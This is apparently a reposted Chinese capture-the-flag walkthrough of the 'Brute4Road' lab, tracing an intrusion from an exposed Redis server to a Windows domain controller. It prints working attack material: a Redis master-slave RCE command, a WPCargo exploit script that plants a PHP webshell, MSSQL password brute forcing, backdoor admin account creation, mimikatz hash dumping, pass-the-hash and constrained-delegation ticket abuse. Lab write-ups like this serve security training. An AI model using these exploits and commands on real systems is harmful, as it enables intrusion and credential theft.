春秋云境-Brute4Road

admin 2024年12月9日13:40:19评论9 views字数 6737阅读22分27秒阅读模式

一、概述

该靶场设计到的知识点有 Redis 主从复制、SUID 提权、WordPress 漏洞利用、密码爆破、域内移动等知识点。
总体难度适中,在做的部分过程中,也尝试了多个方式,收获颇丰。

二、入口机 39.101.171.169

2.1 信息收集

拿到入口机后,自然是先进行一波信息收集,直接访问可以看到是个初始界面
春秋云境-Brute4Road
后面尝试用 naabu 快速扫一下端口,可以看到开放 22 端口的 ftp 和 6379 的 Redis
春秋云境-Brute4Road
好消息是,ftp 可以匿名登录,但坏消息是,没有实质性可利用的内容
春秋云境-Brute4Road

2.2 Redis 利用

目光转到 Redis 上,用 fscan 扫了一下可能存在的漏洞,发现有个未授权访问,那可以尝试用 mudt 连接看看
春秋云境-Brute4Road
可以看到连接测试正常
春秋云境-Brute4Road
春秋云境-Brute4Road
尝试了一圈,无法通过计划任务反弹 shell,无法替换 ssh 公钥,所以决定试试主从复制
注意,主从复制环境容易崩,请谨慎使用
主从复制的话,有利用工具 GitHub - Ridter/redis-rce: Redis 4.x/5.x RCE,但需要有个 exp 的 so 格式的文件
这个也有源码 GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis ,拿来用 make 编译一下
春秋云境-Brute4Road
执行脚本,攻击机注意开放 21000 端口
python redis-rce.py -r [目标IP] -p [目标端口] -L [攻击机IP] -f [编译后的恶意so文件]
春秋云境-Brute4Road

2.3 SUID 提权

进入到目标机后,先查一下 flag 位置
春秋云境-Brute4Road
查看 flag 文件的权限,发现只有高权限账户才可以读,目前账号的权限低,所以需要提权
春秋云境-Brute4Road
查一下 SUID 提权
春秋云境-Brute4Road
结合 GTFOBins  试了一圈,最终找到了 base64 这种方法
春秋云境-Brute4Road
春秋云境-Brute4Road

2.4 获取 flag01

得到 flag01
base64 "/home/redis/flag/flag01" | base64 --decode
春秋云境-Brute4Road

三、入口机横向移动

3.1 流量代理

因为主从复制容易崩,所以直接把流量反代出来用
我用的思路是,先在入口机上 wget 把 frp 等工具下过来,然后用 nohup 后台去跑
wget [下载的地址] --no-check-certificate    #下载

nohup [你要执行的命令] > /dev/null 2>1&1 &    #在系统后台不挂断地运行命令

3.2 信息收集

先看一下 IP 信息,发现了这台入口机的内网地址为 172.22.2.7
春秋云境-Brute4Road
在入口机上用 fscan 扫一下,这里用 output.txt 保存结果,是因为当时 fscan 是跑了,但运行输出没有出现
在攻击机上用 fscan 应该也是可以的,但因为我用的反代创建的是 socks5 的代理,因此如果在攻击机上使用 fscan 的话,需要加 socks5 的参数
$ ./fscan -h 172.22.2.0/24 -o output.txt
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.16     is alive
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.18     is alive
[*] Icmp alive hosts len is: 5
172.22.2.34:135 open
172.22.2.16:139 open
172.22.2.18:139 open
172.22.2.34:139 open
172.22.2.3:135 open
172.22.2.16:135 open
172.22.2.18:80 open
172.22.2.16:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.3:139 open
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.18:445 open
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.3:88 open
172.22.2.34:7680 open
[*] alive ports len is: 21
start vulscan
[*] NetInfo
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] NetInfo
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] WebTitle http://172.22.2.16        code:404 len:315    title:Not Found
[*] NetInfo
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] NetBios 172.22.2.34     XIAORANGCLIENT01
[*] OsInfo 172.22.2.3   (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[*] WebTitle http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.18     WORKGROUPUBUNTU-WEB02
[+] ftp 172.22.2.7:21:anonymous
   [->]pub
[*] WebTitle http://172.22.2.18        code:200 len:57738  title:WordPress
 21/21
[*] ,: 12.69793102s
整理一下信息
172.22.2.3    域控
172.22.2.16    域内机子,有 mssql 服务
172.22.2.7    入口机
172.22.2.18    跑着 wordpress 的机子
172.22.2.34    域内机子

3.3 WordPress 漏洞利用

先从 wordpress 下手,直接在 kali 上用 wpscan 扫,并且得到了 wpcargo 插件可能存在的洞
春秋云境-Brute4Road
查了一下,有个 CVE-2021-25003 的洞,未授权访问的 WPCargo < 6.9.0 - Unauthenticated RCE
从 WPScan 上复制过来改一下目的 IP
import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0''x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://127.0.0.1:8001/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system"data={"2": cmd}
).content.decode('ascii''ignore'))
春秋云境-Brute4Road
访问测试可以看到是已经上传成功且可以正常使用的
春秋云境-Brute4Road

3.4 Webshell 连接

用蚁剑链接 Webshell,这里我直接在蚁剑上设置了代理
春秋云境-Brute4Road
然后添加数据,注意,连接类型需要选择 CMDLINUX
春秋云境-Brute4Road
春秋云境-Brute4Road
找了一圈,最后在 wp-config.php 中找到了有价值的信息,数据库的账号密码
春秋云境-Brute4Road

3.5 数据库连接

可以直接用蚁剑的数据操作来进行数据库连接
春秋云境-Brute4Road
测试连接,也是可以成功连接上的
春秋云境-Brute4Road

3.6 获取 flag02

数据库中发现了 flag02,执行蚁剑默认的 SQL 语句就能获取到
春秋云境-Brute4Road

四、域内机 172.22.2.16

4.1 密码爆破

在库中发现了提示,执行 SQL 语句发现了很多密码,这里注意,语句不要用蚁剑默认的,否则执行结果会只有 20 来条,需要查询所有的之后再导出成密码本
春秋云境-Brute4Road
还记得吗?172.22.2.16 这台域内机,有 mssql 服务
这里结合导出的密码本,用 kali 自带的 hydra 进行爆破,且成功得到结果
hydra -l sa -P [密码本文件] 172.22.2.16 mssql    #-l制定用户名,-P指定密码本文件
春秋云境-Brute4Road
春秋云境-Brute4Road

4.2 远程登录

可以看到账号权限低,那就继续使用 godpotato 来提权执行
春秋云境-Brute4Road
春秋云境-Brute4Road
这里需要注意,先激活 Ole Automation Procedures 组件,否则会上传失败
春秋云境-Brute4Road
开启后就可以成功上传了
春秋云境-Brute4Road
这里看了一手网络连接活动,发现有个 3389,说明远程是开着的
春秋云境-Brute4Road
那依旧创建新用户,并添加进管理员群组
C:/Users/Public/NET4.exe -cmd "net user weakpass 1qaz@WSX /add"
C:/Users/Public/NET4.exe -cmd "net localgroup administrators weakpass /add"
春秋云境-Brute4Road
成功登陆
春秋云境-Brute4Road

4.3 获取 flag03

春秋云境-Brute4Road

五、域内移动

5.1 信息整理

通过 systeminfo 确认了这台机子在域内
春秋云境-Brute4Road
通过 fscan 之前的扫描结果,172.22.2.3 是域控
春秋云境-Brute4Road
我们添加的用户是 weakpass,虽然有管理员权限,但其实是 localgroup 的,在域内啥也不是
那么需要做的是,先获取域内用户的权限,然后进一步收集信息

5.2 获取域内用户权限

这里请出老朋友 mimikatz,需要注意的是,mimikatz 请在管理员权限下的 cmd 运行
privilege::debug

mimikatz # sekurlsa::logonpasswords    #获取 hash 和 ntlm

sekurlsa::pth /user:MSSQLSERVER$ /domain:xiaorang.lab /ntlm:43c261a781aa0efc3f25ccd2629d0511    #hash 传递
传递成功后,是会弹出个新的 cmd 窗口出来
正好部门之前在月度技术分享中,@白袍 师傅有分享过域内知识,其中提到了常用的委派利用方式
春秋云境-Brute4Road
春秋云境-Brute4Road

5.3 信息收集

方法一 AdFind

在 softpedia 上有下载地址,下载完后压缩包里就有解压密码
在上一步哈希传递完之后的新窗口中,运行如下命令,查询是有约束或非约束委派
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName    #查询非约束委派的主机

AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto    #查询约束委派的主机
以下是查询非约束委派的结果,答案是没有非约束委派
春秋云境-Brute4Road
以下为查询约束委派的结果,答案是有
春秋云境-Brute4Road

方法二 BloodHound

更为方便的一种收集方式,是使用 BloodHound,在技术分享中,提到过可以使用最新社区版本的 BloodHound,但这种采集工具容易产生极大的流量,但既然是打靶机的话,就不考虑这么多了
因为网上很多安装教程所使用的版本比较旧了,所以直接根据官方给的安装手册来安装 BloodHound-ce,即仍在维护的版本 Install BloodHound Community Edition with Docker Compose
现在的社区版,似乎是只能通过 docker 部署
curl -L https://ghst.ly/getbhce | docker compose -f - up    #一步到位的部署方式

#另一种方式就是分步部署,先下载 docker-compose.yml,然后docker compose up运行
部署完毕后会跳出初始化密码,初次登录后会要求修改
春秋云境-Brute4Road
登录页面在 localhost:8080/ui/login
在这里总结了几种运行了 docker 但是却无法访问的情况
  1. 虚拟机分配内存建议 8G 以上,否则可能起不来;
  2. 用了镜像源,建议使用官方的 docker 源;
  3. 在搭建 docker 的虚拟机之外访问不到,则需要在 docker-compose.yml 中将 127.0.0.1 修改为虚拟机的 IP。
春秋云境-Brute4Road
采集数据比较简单,可以直接在 Github 上下载,或者登录后在 BloodHound 上找到,这些在官方文档中均有说明
SharpHound.exe
春秋云境-Brute4Road
采集完成后会生成一个压缩包
春秋云境-Brute4Road
将压缩包导入BloodHound
春秋云境-Brute4Road
春秋云境-Brute4Road
查一下到 mssqlserver 的机子相关信息,可以看到这台机子跟 dc 之间存在约束委派
而在右边,也有一些利用思路
春秋云境-Brute4Road

5.4 约束委派

使用 getST 申请票据,该工具可以在 impacket 中找到
python getST.py -dc-ip 172.22.2.3 xiaorang.lab/MSSQLSERVER$ -spn ldap/DC.xiaorang.lab -impersonate Administrator -hashes :8e1c9a7b9fb7c03aead7ea47f90cfbaa
春秋云境-Brute4Road
那么接下来,就是导入票据至本机
注意,我这里使用的是 kali,所以使用的是 Linux 的导入方式
虽说代理出来之后可以访问部分资源,但因攻击机不在域内,所以会导入失败
因此,需要在 hosts 中加入域
春秋云境-Brute4Road
再使用 impacket 中的  wmiexec 进行连接访问,并读取 flag04
proxychains python3 wmiexec.py -k -no-pass [email protected]
春秋云境-Brute4Road

5.5 获取 flag04

春秋云境-Brute4Road
春秋云境-Brute4Road

原文始发于微信公众号(弱口令安全实验室):春秋云境-Brute4Road

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月9日13:40:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   春秋云境-Brute4Roadhttps://cn-sec.com/archives/3485467.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息